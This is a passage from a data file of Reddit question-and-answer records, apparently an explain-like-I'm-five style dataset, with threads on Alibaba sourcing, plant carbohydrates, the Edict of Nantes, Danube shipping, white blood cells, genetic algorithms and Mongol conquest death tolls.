courier shipping. Many of the manufacturers/wholesalers on Alibaba are willing to provide several different options for shipping. The cheapest options are when you buy in large quantities and have everything shipped together by sea freight. You can also, in some cases, manage the shipment yourself and basically get the manufacturer/wholesaler to drop the product off at a given sea port / shipping company in China.\n\n >  If one were to start a business as an Amazon Marketplace seller, is Alibaba the place to find the inventory?\n\nYes, Alibaba is probably one of the best places to source products. There are a couple of things to note about buying products from foreign (e.g. Chinese) wholesalers though:\n\n1. Often products sold on Alibaba do not have all the proper product safety and radio/EM emissions compliance certifications (e.g. FCC [US], IC [Canada], CE [Europe], UL [world], etc.) which means they may be technically illegal to import or sell in your country. It's a good idea to find out what kind of certifications a product needs before purchasing and clarify with the seller whether the products have in fact received certification from the appropriate agencies (e.g. the FCC) as required. As the importer, it's your responsibility to ensure the product is legal to import and sell in your country and products that are not properly certified may be seized and/or destroyed by customs.\n\n2. You may be subject to large import duties and taxes when the products arrive at customs. Whether or not---as a reseller--you are eligible to be reimbursed for some of these fees/taxes may depend on your country.\n\nThere is an alternative sister-site called AliExpress which is similar to Alibaba but more user/consumer friendly. You can also buy products in bulk on AliExpress, the difference is that pricing and shipping options are much more transparent on AliExpress (but also less open to negotiation) and you can shop around more quickly and easily on AliExpress (as opposed to Alibaba where you contact to seller and arrange a deal before purchasing an item).", "Shipping is not included. By other than that, yes you have it already. \n\nYou contact suppliers,  get samples,  negotiate price and quantity.   Then they ship it to you and you.", "I would say buyer beware when it comes to reselling  these items on Amazon/eBay.  They both have thresholds of returns and bad feedback before your account will be shut down. Also check to make sure there are no limits on what items you can sell.  Some categories are only available to established accounts with a good sales and feedback history.  Feedback will be your biggest enemy when it comes to these types of websites because the items are generally cheaply made.  If you want some tips and pointers about setting up a store with Amazon or eBay, check out r/flipping. Everyone on there is really helpful and will help out as much as they can without hurting their own business.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9xt59e", "title": "why do plants produce carbohydrates?", "selftext": "Carbohydrates are for energy. As plants don't move and only grow, why do they need carbohydrates?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xt59e/eli5_why_do_plants_produce_carbohydrates/", "answers": {"a_id": ["e9uyy35", "e9uz5nc", "e9uzk1p"], "score": [3, 7, 3], "text": ["For energy to use to grow. Plants use sun light to make carbohydrates. They then use the carbohydrates for energy to grow.\n\nSome plants make more carbohydrates than they need and we eat those plants.", "They use it to store energy for later. Such as storage for staying alive during cold winter months, or a dry season. \n\nWild plants product much smaller amounts than domesticated ones, because we bred varieties that produce more to suit our needs.\n\nAnother reason they make carbs is too make tasty fruit, which is used to attract seed-spreading animals", "It is also created for structure for plants, that is one of the major cellular differences from animals.\n\nCell walls in plants are made of cellulose and other starches ie a carbohydrates. So the plant is made up of carbohydrates. Wood is made out of cellulose so  carbohydrates are the major stricture part in a plans.\n\nIF you thing about it animals have bones made of proteins (collagens) and  calcium  minerals to  keep the shape. plants are more distributed so all cells are a part of the structure and it is the walls of carbohydrates  that give them there structure,"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1sl0fw", "title": "What effects did the Edict of Nantes have in 17th century Europe?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1sl0fw/what_effects_did_the_edict_of_nantes_have_in_17th/", "answers": {"a_id": ["cdyud22"], "score": [3], "text": ["The first impact of the Edicts of Nantes in 1598 was to put an end to the Wars of Religion, which had been tearing France apart since 1562.\n\nThis allowed France to focus externally, on European geo-politics, instead of internally on civil war.\n\nThe main external focus of French policy was to counter the Hapsburg threat.  The Hapsburg Empire of Spain, Austria and the Low Countries, fueled by New World silver, was seen as an encircling danger by the French. \n\nCardinals Richelieu and Mazarin (who ran France for much of the 17th century) had two obsessions, to strengthen the central government, and to counter the Hapsburg threat.\n\nThe second main impact of the Edicts was that they facilitated France (now officially \u2018neutral\u2019 between Catholics and Protestants) joining the Protestant side in the 30 Years War.  Which they did to counter the Hapsburgs\u00b8 rather than to bolster the Protestants, but without the Edicts being in place, this would have been more difficult.\n\nStill, Richelieu and Mazarin were Catholic Cardinals, and they worked to erode the provisions of the Edicts.  This was perhaps more in pursuit of their centralizing of power agenda, than an anti Protestant agenda, but perhaps not entirely.  Particularly, Richelieu wanted to erode the \u201cbrevets\u201d attached to the Edicts.  These were clauses outside of the main Edicts, which granted the Protestants the right to maintain fortified and garrisoned towns as refuges.  The brevets were not granted in perpetuity.  They had to be renewed every 8 years.  Little by little they were whittled away at until only two refuges were left (La Rochelle and Montauban).  Then, in 1629 Richelieu abolished the brevets and besieged La Rochelle for 14 months before forcing the city to surrender.  The Protestants had lost their refuges, not without a struggle, but without a general Civil War.\n\nIn 1648, the devastating 30 Years War was over with the Peace of Westphalia.  The power of the Hapsburgs had been checked.  Just as the 30 Years War was over, however, Cardinal Mazarin had to deal with new internal troubles in France.  This was the revolt of the nobles against the increasing centralization of power known as \u201cThe Fronde\u201d.  This lasted from 1648 to 1653.  By the end of the Fronde, the centralization of power in the France was complete.\n\nThe third impact of the Edicts of Nantes, was that it gave Richelieu and Mazarin the time, free from Religious Wars, to centralize power in France.  It also ensured that the anti-centralization factions, (essentially the nobles) were divided (by Religion) and so less able to mount an effective opposition than if either religion had been stamped out earlier.  Holding the neutral and power position between the two groups of religious rivals helped legitimize and enable the French government's centralization of power.\n\nIn 1661, Mazarin died, and Louis XIV, age 23 was able to take the helm of this centralized state and rule with unprecedented power.  In 1685 he was confident enough to revoke the Edicts of Nantes and return France unequivocally to the Catholic fold.  400,000 Huguenots fled France, many to England.  The Huguenots had been some of the most mercantile and productive citizens of France.  Their departure probably weakened the French economy more than was apparent at the time, and strengthened that of England.\n\n\nIt might be said that the Edicts of Nantes bought France the time to counter the Hapsburg threat, centralize and build the nation, and set the stage for an era when France would be the dominant European power.\n\n\nIt might also be said that the Revocation of the Edicts of Nantes, weakened France, strengthened Britain, and set the stage for the eventual eclipse of French domination of Europe at the hands of the British.\n\n\nIt would take another 65 years, however, for the British challenge to become the dominant power in Europe to succeed.\n\n\nSources:\n\n\n_URL_4_\n\n_URL_1_\n\n_URL_2_\n\n_URL_0_\n\n_URL_3_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Thirty_Years'_War", "http://www3.northern.edu/marmorsa/delinenotes16thfrance.htm", "http://www.historylearningsite.co.uk/france_1610_to_1715.htm", "http://en.wikipedia.org/wiki/Edict_of_Nantes", "http://faculty.ucc.edu/egh-damerow/louis_xiv.htm"]]}
{"q_id": "d3vqep", "title": "What did 'traffic' look like on Europe's navigable rivers during the early modern period?", "selftext": "As an example, what kind of ships and people would you expect to see along the Danube river between the 15th-18th centirues? Did people travel by boat for convenience? Was there even trade traffic? Could you expect to meet a lot of ships if you sailed from Vienna to Wallachia?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d3vqep/what_did_traffic_look_like_on_europes_navigable/", "answers": {"a_id": ["f05vozw", "f066wll"], "score": [6, 4], "text": ["I can only really talk about the Ottoman period:\n\nUntil 1524, the Ottomans didn't really utilize the Danube. The reason for that was not the fact that the river was a border, but the fact that they didn't master sailing through the Iron Gate. Even later, one could travel through the gorge only between May and November. The river didn't have a great significance in Ottoman war plans: even though some boats were used in siege of Vienna in 1529, in the second siege there were no such attempts. However, the Ottoman strived to attain key positions on the Danube inside their own territory.\n\nThe Ottomans conquered whole flow of the Danube between Esztergom and the Black Sea in 1541. As the Danube soon became the most important inland waterway in European part of the empire, soon the Captaincy of the Danube was founded. The Captain of the Danube (*Tuna kapudan\u0131*) was in charge for all matters concerning sailing the river.  He had two deputies: one was in charge for the flow between Buda and Vidin, while the other one was in charge for the flow downstream of Vidin. When the Ottomans lost most of Hungary (1699), only the second one remained. \n\nFrom the times of Sultan Mehmed II (1451-1481) light fleet on lower Danube served as support of Ottoman infantry. In 1699 the Danube Fleet had these ships: 19 *kalite* (ships that can transport \\~220 soldiers and has a cannon on its forecastle), 5 big and 18 small *firkate* (boats with oars that could transport up to 80 soldiers), 3 *\u015fayka* (ships that can transport 20-50 soldiers, armed with three cannons) and 100  *\u00fcst\u00fca\u00e7\u0131k* (barges unique to Ottoman Danube; these barges had a long *spine* with flat bottom made of riveted planks; occassionally they had a sail as well; at the beginning of the 17th century these ships costed \\~132 *kuru\u015f*, while their cost at the end of the 18th century was \\~183 *kuru\u015f*; these barges served as means to transport various kinds of material; they proved so important that the Ottoman administration created a position of the *a\u00e7\u0131klar a\u011fas\u0131*, who was commander of all such sails and who answered to the Captain of the Danube directly). \n\nMain places for construction of vessels were: Rushchuk, Nicopolis, Vidin, Golubac, Smederevo, Mohacs, Buda and Esztergom. Vessels built in Zvornik, Kru\u0161evac and Po\u017eega were also used primarily in the Danube. Rushchuk served as the winter base for most of the fleet.\n\n\\*\\*\\*\n\nThanks to the Capitulations of 1535, France was free to use the Danube and arm her ships on the river against the pirates. Turkish sailors managed to cross the Iron Gates and trade on both sides of the gorge, bringing great ammount of wealth to autonomous princedoms of Wallachia and Moldavia, making them *Garden of Istanbul*. The gorge had its own administrator (*Girdap a\u011fas\u0131*); at the beginning this was just another title of the Captain of the Danube, but then it was given to the Voyvode of Wallachia, and finally to the administrator of Kladovo. These men were responsible if a ship going through the Iron Gate was attacked by pirates, hit one of numerous rocks in the gorge, or stranded. The ships were transported through the gorge by Christians who got partial tax exemption in exchange for this service (*cerahorlar*). They controlled the ships using ropes on the coast.\n\nFive ships served this purpose in the half of the 18th century, carrying 150 qualified and 84 unqualified workers. \n\n\\*\\*\\*\n\nEvliya \u00c7elebi wrote that Danube frequently froze during the winter and that this brought wealth to inhabitants of Belgrade: *Considering that when the ice 10 hands deep forms, (the administration) doesn't tax imports and selling the imported goods* (*=* *b\u00e2d\u017e\u00ad\u00fc baz\u00e2r*)*, at that time a hundred of carriages comes, so everybody, be he poor or priviledged, makes money from trade. All poor become rich*. The inhabitants of settlements on shores of the Danube frequently went to boats to trade. Evliya \u00c7elebi wrote that the trees surrounding the river were as tall as mountains.", "A lot of ships were for military purposes, but most of the ships were the aforementioned  *\u00fcst\u00fca\u00e7\u0131k*s, which mainly supplied major storehouses and granaries in Belgrade. The storehouses of Belgrade were the main store for munitions and provisions during the entire 17th century. Each Danubian port had its own storehouses, but each of them supplied Belgrade as well (even the Black Sea ports occasionally supplied Belgrade). \n\nEach of these ports on the Danube was also a trading hub. The Ottoman Empire had a smoothly functioning chain of *menziler*, i.e. way stations on dry land. The Danube ports did not only feature a regular *menzil*, but also another one, serving those who sail along the Danube. These stations supplied the travelers with *kay\u0131k**lar* (boats), *cerahor* (mainly Christians that would take care about thhe ship's safety, see my previous post), *ulaklar* (messengers) and food. \n\nThe route Belgrade-Hisarc\u0131k-Smederevo-Or\u0161ova-Demir Kap\u0131 (Iron Gate) -Fethulislam-Vidin-Lomgrad-Nicopolis-Svi\u0161tov-Rushchuk came to be a route commonly used by diplomats. The first one to use it (that I know of) was Sir William Hussey (1691). The provisioning documents (*tayin*) of English and Dutch embassies show that the diplomats had right to take wood, hay, 200 *cerahor*, steersmen and *ulaklar* at every *menzil*. Habsburg ambassadors were usually getting more, and they usually praised the Ottomans (especially during first decades, when the Ottoman sailors had to sail upstream and take them by *\u015faykalar*, as Habsburg ships were unsuitable for the Iron Gate.\n\nThe population around the Danube wasn't just transporting goods downstream and upstream, but also across the continent. Wallachia was a huge exporter of salt and fish. The Voyvode of Wallachia gathered tax on trade of salt from both shores (in exchange for a fixed tribute). Hides and tissues were widely traded along and across the river, as well as tobacco from the 17th century onwards. \n\nFishing was such a big thing that Sultan Suleyman issued a decree in 1560, declaring **all** revenues from the islands in the Danube, as well as the marshes and estuaries connected to the river, a part of sultan's *hass*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "e1shi6", "title": ". saw a video of a white blood cell chasing down and ingesting a bacteria, why aren't white blood cells \"alive\" as their own beings?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e1shi6/eli5_saw_a_video_of_a_white_blood_cell_chasing/", "answers": {"a_id": ["f8rj498", "f8rji3f", "f8rl2vc", "f8roh26", "f8slq6r"], "score": [11, 2, 7, 2, 3], "text": ["I know it's a flashback to, like, freshman biology but there are characteristics that we use to define what has life. They are responsiveness to stimuli, growth or change, ability to reproduce, metabolism and respiration, homeostasis-ness (freshman bio was a long time ago), cell structure, and reproduction. White blood cells check off a few but not all of them. \n\nMore importantly, though, they're part of *our* cell structure. Without us, they do not exist or exibit any of those characteristics. They are alive (in the sense that they can die, so they must be alive) but it's inherently not as their own beings. They're no different than our skin cells or our teeth - they're alive... As long as they are part of us because we are alive. But they don't have life.", "They may respond to stimulus, yes, but they have no way of regulating or resisting internal change. They also do not grow. To be considered alive, something must grow in size or  complexity over time. White blood cells, like viruses or killer robots, are created fully formed and rely on host materials to build and power themselves.", "Oh man, if you really want your head to explode, read up on viruses and why they\u2019re not considered to be alive.", "Life consistently defies our attempts at classification. \n\nWe have egg laying mammals, (possibly, sometimes) warm-blooded reptiles, not to mention how freaky our ancestors were with their interspecies shenanigans. \n\nWe use the 7 characteristics of life to determine whether or not something is alive, but given what we've learned since that became the rule I'm inclined to think its outdated.", "One human being, Henrietta lacks, developed a cancer in which her cells mutated into a fully independent species of ameoba like creature, they're still alive fifty years after the rest of her died.  The cells are used in medical research.  [Henrietta Lacks is now 99 years old, weighs several tons, and simultaneously lives in thousands of laboratories.](_URL_0_)\n\nEvery case of cancer involves genetic \"off\" switches getting broken, but a cell line becoming fully immortal requires many such broken stop signals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/HeLa"]]}
{"q_id": "n4701", "title": "Why isn't artificial evolution used to create all sorts of things?", "selftext": "Considering that evolution can be reproduced with computers([example](_URL_0_)), I would think that it would be used to create all sorts of things.\n\nFor example you could use evolution to create a super chess player. If you randomly generate chess players(as software I mean) and make them play against Deep Blue, mix the best ones and add a mutation here and there in theory it should, after a while, create a chess player that is better than Deep Blue, no?\n\nBut this is not happening. Why is that, why is artificial evolution not used? Are today's computers not powerful enough?\n\nThanks.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n4701/why_isnt_artificial_evolution_used_to_create_all/", "answers": {"a_id": ["c364637", "c365qmw", "c365tho", "c366q0o", "c366tp9", "c3676b5", "c364637", "c365qmw", "c365tho", "c366q0o", "c366tp9", "c3676b5"], "score": [18, 2, 6, 13, 2, 2, 18, 2, 6, 13, 2, 2], "text": ["It is happening, and its a viable way to attempt to solve some problems. \n\nIts just its slow, computers today are simply not strong enough and fast enough to run through the millions and millions of simulations and make so much progress. \n\nIf you wanted, and had access to a supercomputer, you might be able to change the code (parameters in the code) that run the backbone of some of the best chess programs for instance. But the time investment for the goal just isn't seen as wroth it. Often times these algorithms are being used to make progress in solving scientific problems or mathematics problems in science now days. (Interestingly enough, Deep Blue is no longer that powerful. Modern day engines such as Rybka, which you can run on your own laptop/desktop would be powerful enough to beat Deep Blue in its 'prime')\n\nAlso, its worth mentioning, evolution in computers generally just modifies a set of variables, and then tunes them to essentially find a global minimum/maximum depending on what you want. It will never, therefore, branch out and create raw new code for itself. (I guess its possible if someone wrote an engine that actually does code development as well, but this seems like it would end up being very slow and unstable.)", "Genetic algorithms are used for a number of problems. I know that you can use a program called [evolution chamber](_URL_0_) that uses a genetic algorithm to optimize SC2 builds.", "Nasa has used genetic algorithms to design antenna's for use in space. The design was superior to all human designed antenna's and fits in a smaller space.\n\n_URL_0_", "Hey! A question in my field! I'm a CS PhD candidate who is working with genetic algorithms for code simplification, synthesis, and repair. I have witnessed the birth of new programs from nothing, and it was good.\n\n----\nTo answer your question: you're wrong! GAs are used to create all sorts of things. The problem is they aren't always very good at it, and tend to produce results that might technically work, but are very, very weird.\n----\n\nHere's the skinny: genetic algorithms (GAs) aren't some magical device that makes everything better. They're one of many search heuristics that help you find good solutions faster. If the space is too large or you don't define your fitness function well, you might never converge to a good solution or get stuck at a suboptimal solution. \n\nAs an illustrating example: consider a worm. Very successful and prevalent species, but nowhere near as complex or sophisticated as a human or a chimpanzee. A GA might get really excited about evolving a solution equivalent to a worm, but have a hard time simply stumbling into a better solution like a human, at least at a reasonably fast rate.\n\nIn fact, GAs are pretty terrible for a lot of search tasks. Not only are they slow, but they enjoy introducing fun artifacts like introns (dead code) that simply do nothing. It also takes a lot of ugly manual tweaking of mutation rates and other unknown factors in order to make a GA work.\n\n--\n[Here's an interesting example of GA weirdness](_URL_0_). A researcher wanted to design a chip to recognize the difference between audio tones. Using a reprogrammable chip called an FPGA, he randomly hooked together logic gates and used a GA to guide the process.\n\nEventually he got a solution, but it was *insane*. While it worked well, it took advantage of completely disconnected circuits in the ship. The chip used the magnetic flux generated by these seemingly useless loops to arrive at it's conclusion.\n\nWhile that's awesome, the solution wasn't generally useful. The fit was so closely coupled with the one particular FPGA that you couldn't reliably load it onto another chip. A GA search isn't \"intelligent\" as much as incredibly resourceful.", "Genetic algorithms (GAs), the most popular type of evolutionary algorithm, have attracted a lot of attention in the past.  They're generally used to attack NP-hard problems, which basically means that the problems don't have a fast way of directly solving them and you'll have to settle for an approximation for serious problems.  When it comes to solving these types of problems, you can imagine a large space that needs searching in some manner, where the dimensionality is usually very high.  GAs work by combining information from candidate solutions in the space.  Combining solutions can be slow and there's usually no reason that combining solutions the way GAs do should be very useful.  Even worse, depending on the type of problem you're attacking and the way you encode solutions, the new candidate solution might not even be viable in the space.  \n\nI took a course in optimization where [the book](_URL_0_) pretty much flat out said that GAs aren't worth it.  I've spent some time working with these things and I found that, for my problems, implementing a local search component made it run faster, pretty much in proportion to how much I integrated the local search.  I think GAs are really cool conceptually and people should know how they work, but I would not reach for one to solve a real problem.\n\nFrom the [GA Wikipedia page](_URL_1_): \"The question of which, if any, problems are suited to genetic algorithms (in the sense that such algorithms are better than others) is open and controversial.\"", "You're right in theory, with the constraint being \"..after a while,..\". You can think of the evolutionary algorithm as being a search algorithm in the space of possible parameters. A lot of times, there are more efficient ways (gradient-based methods) of searching the parameter space than the evolutionary method.", "It is happening, and its a viable way to attempt to solve some problems. \n\nIts just its slow, computers today are simply not strong enough and fast enough to run through the millions and millions of simulations and make so much progress. \n\nIf you wanted, and had access to a supercomputer, you might be able to change the code (parameters in the code) that run the backbone of some of the best chess programs for instance. But the time investment for the goal just isn't seen as wroth it. Often times these algorithms are being used to make progress in solving scientific problems or mathematics problems in science now days. (Interestingly enough, Deep Blue is no longer that powerful. Modern day engines such as Rybka, which you can run on your own laptop/desktop would be powerful enough to beat Deep Blue in its 'prime')\n\nAlso, its worth mentioning, evolution in computers generally just modifies a set of variables, and then tunes them to essentially find a global minimum/maximum depending on what you want. It will never, therefore, branch out and create raw new code for itself. (I guess its possible if someone wrote an engine that actually does code development as well, but this seems like it would end up being very slow and unstable.)", "Genetic algorithms are used for a number of problems. I know that you can use a program called [evolution chamber](_URL_0_) that uses a genetic algorithm to optimize SC2 builds.", "Nasa has used genetic algorithms to design antenna's for use in space. The design was superior to all human designed antenna's and fits in a smaller space.\n\n_URL_0_", "Hey! A question in my field! I'm a CS PhD candidate who is working with genetic algorithms for code simplification, synthesis, and repair. I have witnessed the birth of new programs from nothing, and it was good.\n\n----\nTo answer your question: you're wrong! GAs are used to create all sorts of things. The problem is they aren't always very good at it, and tend to produce results that might technically work, but are very, very weird.\n----\n\nHere's the skinny: genetic algorithms (GAs) aren't some magical device that makes everything better. They're one of many search heuristics that help you find good solutions faster. If the space is too large or you don't define your fitness function well, you might never converge to a good solution or get stuck at a suboptimal solution. \n\nAs an illustrating example: consider a worm. Very successful and prevalent species, but nowhere near as complex or sophisticated as a human or a chimpanzee. A GA might get really excited about evolving a solution equivalent to a worm, but have a hard time simply stumbling into a better solution like a human, at least at a reasonably fast rate.\n\nIn fact, GAs are pretty terrible for a lot of search tasks. Not only are they slow, but they enjoy introducing fun artifacts like introns (dead code) that simply do nothing. It also takes a lot of ugly manual tweaking of mutation rates and other unknown factors in order to make a GA work.\n\n--\n[Here's an interesting example of GA weirdness](_URL_0_). A researcher wanted to design a chip to recognize the difference between audio tones. Using a reprogrammable chip called an FPGA, he randomly hooked together logic gates and used a GA to guide the process.\n\nEventually he got a solution, but it was *insane*. While it worked well, it took advantage of completely disconnected circuits in the ship. The chip used the magnetic flux generated by these seemingly useless loops to arrive at it's conclusion.\n\nWhile that's awesome, the solution wasn't generally useful. The fit was so closely coupled with the one particular FPGA that you couldn't reliably load it onto another chip. A GA search isn't \"intelligent\" as much as incredibly resourceful.", "Genetic algorithms (GAs), the most popular type of evolutionary algorithm, have attracted a lot of attention in the past.  They're generally used to attack NP-hard problems, which basically means that the problems don't have a fast way of directly solving them and you'll have to settle for an approximation for serious problems.  When it comes to solving these types of problems, you can imagine a large space that needs searching in some manner, where the dimensionality is usually very high.  GAs work by combining information from candidate solutions in the space.  Combining solutions can be slow and there's usually no reason that combining solutions the way GAs do should be very useful.  Even worse, depending on the type of problem you're attacking and the way you encode solutions, the new candidate solution might not even be viable in the space.  \n\nI took a course in optimization where [the book](_URL_0_) pretty much flat out said that GAs aren't worth it.  I've spent some time working with these things and I found that, for my problems, implementing a local search component made it run faster, pretty much in proportion to how much I integrated the local search.  I think GAs are really cool conceptually and people should know how they work, but I would not reach for one to solve a real problem.\n\nFrom the [GA Wikipedia page](_URL_1_): \"The question of which, if any, problems are suited to genetic algorithms (in the sense that such algorithms are better than others) is open and controversial.\"", "You're right in theory, with the constraint being \"..after a while,..\". You can think of the evolutionary algorithm as being a search algorithm in the space of possible parameters. A lot of times, there are more efficient ways (gradient-based methods) of searching the parameter space than the evolutionary method."]}, "title_urls": [], "selftext_urls": ["http://megaswf.com/simple_serve/102223/"], "answers_urls": [[], ["http://code.google.com/p/evolutionchamber/"], ["http://www.nasa.gov/centers/ames/research/exploringtheuniverse/exploringtheuniverse-evolvablesystems.html"], ["http://www.damninteresting.com/on-the-origin-of-circuits/"], ["http://www.amazon.com/Introduction-Operations-Research-Student-Access/dp/0077298349/ref=sr_1_1?ie=UTF8&amp;qid=1323326024&amp;sr=8-1", "http://en.wikipedia.org/wiki/Genetic_algorithms#Criticisms"], [], [], ["http://code.google.com/p/evolutionchamber/"], ["http://www.nasa.gov/centers/ames/research/exploringtheuniverse/exploringtheuniverse-evolvablesystems.html"], ["http://www.damninteresting.com/on-the-origin-of-circuits/"], ["http://www.amazon.com/Introduction-Operations-Research-Student-Access/dp/0077298349/ref=sr_1_1?ie=UTF8&amp;qid=1323326024&amp;sr=8-1", "http://en.wikipedia.org/wiki/Genetic_algorithms#Criticisms"], []]}
{"q_id": "1io1fh", "title": "There were an estimated 20 - 50 million deaths during the Mongol conquests. Have any mass graves or huge killing fields been discovered that date from this era?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1io1fh/there_were_an_estimated_20_50_million_deaths/", "answers": {"a_id": ["cb6g2by", "cb6h4jz", "cb6jp0r", "cb6oz2a", "cb6p6ul", "cb6qihg", "cb7bntu"], "score": [88, 10, 226, 77, 7, 13, 2], "text": ["Your assumption is that the Mongols were somehow practicing Genocide on a \"killing fields\" scale, and in a \"killing fields\" manner.   \nSacking cities is as old as cities. The mongols were no different from any other conquestors in that regard.   \nI say this because the wording of your question is implicitly suggesting that the Mongols were not only successful military/political expansionists, but also genocidal. This is problematic because it obfuscates the history of the Mongols. Creating a monster of the Mongols is an old orientalist chestnut that needs to be dispensed with. We should be able to look at their history the way we look at any other military expansionist group.   \nI should say though that it is not only an orientalist clich\u00e9, but also one from the Chinese historiography. Invasion of the brutish murderous barbarians was a standard of Chinese historiography from the word go, so, there's that also.  \nBut can we please give the Mongols a fair look and stop focusing on the bodies?   \n\nSo, let's look at the problems of the numbers first - are we talking military deaths? Civilian deaths from direct military action (sacking cities)? Death from diseases that were spread more easily due to the conquests? Death from food shortages due to warfare? Death from famine (especially later in the conquest period as weather took a turn for the worse across eurasia)?  \nIf we conflate all these deaths we can blame the mongols for some seriously high death tolls. But perhaps we should be more careful with the numbers.  \n\nAnd I don't know about mass graves.   \n\n  \nEDIT: \nFor those unsatisfied:  here is my edit:  \nAgain, asking that very question suggests a different kind of killing. There are \"killing fields\" in Cambodia because Pol Pot's government was rounding up and murdering millions of people.    \nDeaths due to mongol conquests span over a century and between 5 and 10 million square miles. Where are the bodies? seriously? scattered all over eurasia, wherever there was a battle. \n\nThere aren't killing fields because the mongols didn't round up millions of people, take them into a field, and murder them one by one.   \nThey fought wars of conquest. Let's start treating them as such rather than implying with every other question about them that they were bloodthirsty monsters who's only joy was wiping out the next city down the silk road. ", "From that question alone, I would like to know if that is a count of the average death in the area as victims of war AND natural deaths, or specifically political deaths.   Statisticians have a way of twisting numbers around.", "I would like to simply state, that the minimum and least accounted state of deaths of people during the Mongolian conquests actually amounted to 30 million and up to 50 to even 70 million people died under the Mongolian Empire. The 70 million number however is unproven. \n\nI know too little of Medieval Mongolian burial rituals to give any information about burials. We know so little of their private lives. From what I understand, Mongolians had a complex religious practice that buried their fallen loved ones with a camel (A live one), believing this camel helped them travel faster to the afterlife. I don't know how feasible this would be in a mass grave where thousands of Mongolians and their foes died in a matter of hours. \n\nAs far as I know, there have been no recently proven archaeological grave sites depicting mass graves and/or Mongolian soldiers being buried in the fields of battle.\n\nHowever, if there are any places left on planet Earth that theoretically can contain fossils of soldiers in mass graves would probably be in the former city of Urgench.\n\nDuring Chinggis war with the Khwarezmia Empire, the city of Urgench became the site of one of the most terrifying massacres in human history. 50,000 Mongolian soldiers slaughtered over 1.2 million people in the city. This number is exaggerated. Each Mongolian soldier would have had to kill 24 people by *himself*. However the invasion of the Khwarezmia Empire instigated one of histories most greatest events. Which later became the Mongolian invasion of Western Eurasia. Or at least it's beginning. We do however know that the campaign had fielded over 600,000 men on both sides. If you take into the account that the Empire was destroyed and that Mongolians executed the majority if not all the citizens who did not become slaves, it is easy to say that the casualties on both sides would have been estimated to have amounted to be over 300,000 men. With the rest becoming impressed soldiers, or slaves.\n\nUrgench is located in what is now Northern Turkmenistan. Archaeologists during the 1950 to 1990 had a hard trouble not only getting access to the most prolific sites. But some were prevented, this was further increased not only by the Soviet government at the time, but the inaccessible place where the city was located. \n\nIn my opinion, the old city is the most LIKELIEST place to find any sort of human remains that can still be seen today. I quote the World Heritage convention:\n\n\n >  The city experienced modern development when it was newly colonized by Turkmen from 1831. The new development however took place outside the old town, which was later utilized as a **graveyard**.\n\nThis in my opinion can definitely have some sort of remains. We know that the entire city was destroyed, burned to the ground by the Mongols. Those that were not beheaded, were enslaved or became soldiers.\n\nUnderstand that this is only my theory, and to my understanding of Mongolian culture and their burials in ancient battle sites is quite slim. My references are only referring to old Soviet  documents and recent studies conducted on Medieval Mongolian burial rituals. \n\n\nI hope this has answered your question. It's a great one, intriguing, and although my knowledge of later Mongolian history is quite lacking, I have tried my best. =)\n\nMy sources:\n\n**The Invasion of the Khwarezmia Empire** \n[The Mongolian Invasion of the Islamic World](_URL_1_)\n\n\n**Minimum Casualty rate of 30 million**\n[The Cambridge History of China and the border states. A boring read, but it does provide facts about the initial Mongolian invasions into the Chinese dynasties, from the Xia to the Song.](_URL_2_)\n\n\n**Urgench, by the World Heritage Organization**\n[Urgench](_URL_3_)\n\n\n**The city boundaries of the Capital from 4th BC up to the 12th Century**\n[A Short History of Gurganj/Urgench](_URL_0_)\n\n\n**Modern and Medieval Mongolian Death Rituals**\n[Modern/Medieval](_URL_5_)\n\n**Medieval Publication**\n[M.E Sharpe Inc, Funeral and Memorial Rituals of the Medieval Mongols and Their Underlying Worldview\n](_URL_4_)", "This thread was tweeted to me...I follow reddit's history page ever since I did a couple of AMAs here...\n\nWell, I am slammed working on our latest project, but I thought I would try to add my two cents here (if no one objects).\n\nI am the guy who did the \"Wrath of the Khans\" podcast that's been referenced here by some. One of the sub-themes of that show was a reaction to the current trend in viewing the Mongols as people like Jack Weatherford do.  Now, we all know that history is continually re-evaluated and re-interpreted and it is completely normal to go through eras and phases where events are viewed through different prisms. My objection to the latest one is the complete downplaying of events that, for the people who lived through the receiving end of them, were nothing short of a holocaust.\n\nNOW, was that because the Mongols were uniquely vicious in the annals of history? No. In fact, they were probably very little different from thousands of years of other Steppe peoples specifically (and like all humans in general). What they WERE is uniquely successful.\n\nBy being almost singularly successful...and by doing what many (most?) conquering peoples did (slaughtering a lot of innocents...the Romans did a lot of that too for example) they get body counts that are mind blowing. We can quibble about the numbers...but the Mongols own records (if one wants to call sources like \"The Secret History\" records) show no downplaying of the killing (and no inhibitions in the culture towards doing so). Again...this wasn't a MONGOL thing to do...it was a HUMAN thing to do. But most peoples in history have never been in a position to do it like the Mongols had. Being one of the great militaries of all time can do that for you...\n\nAs far as mass graves go...the better question to ask is why do we find so few mass graves from anyone at all? Look at all the wars and massacres in history...one would think there would be mass graves everywhere...but they are exceedingly rare. When we find one from the Napoleonic Wars, we do National Geographic stories on them. When we find one from the Wars of the Roses, they get whole books written about them. They just are not common to find...for whatever reason. Even on known battlefields where historians are almost positive the dead were buried after the fighting ended...the bodies are rarely found.\n\nSo...I understand the conflict on these pages. They rage through the Mongol debates today. The current fashion is to say that Mongol military efforts did more good than harm...that they have been exaggerated...that people like Genghis Khan were really transmitters of civilization more than great killers.  But, as we said in the podcast, this is (and likely should be) an \"Eye of the Beholder\" thing. The Mongols were not feared and hated in their day because they transmitted culture to everyone. But they also were not in any way unique. There were lots of Genghis Khans (and Alexanders, and Caesars etc. etc.) throughout history. Genghis was just one of the best/most prolific. You get noticed more when that's the case.", "Many of the sites of their most 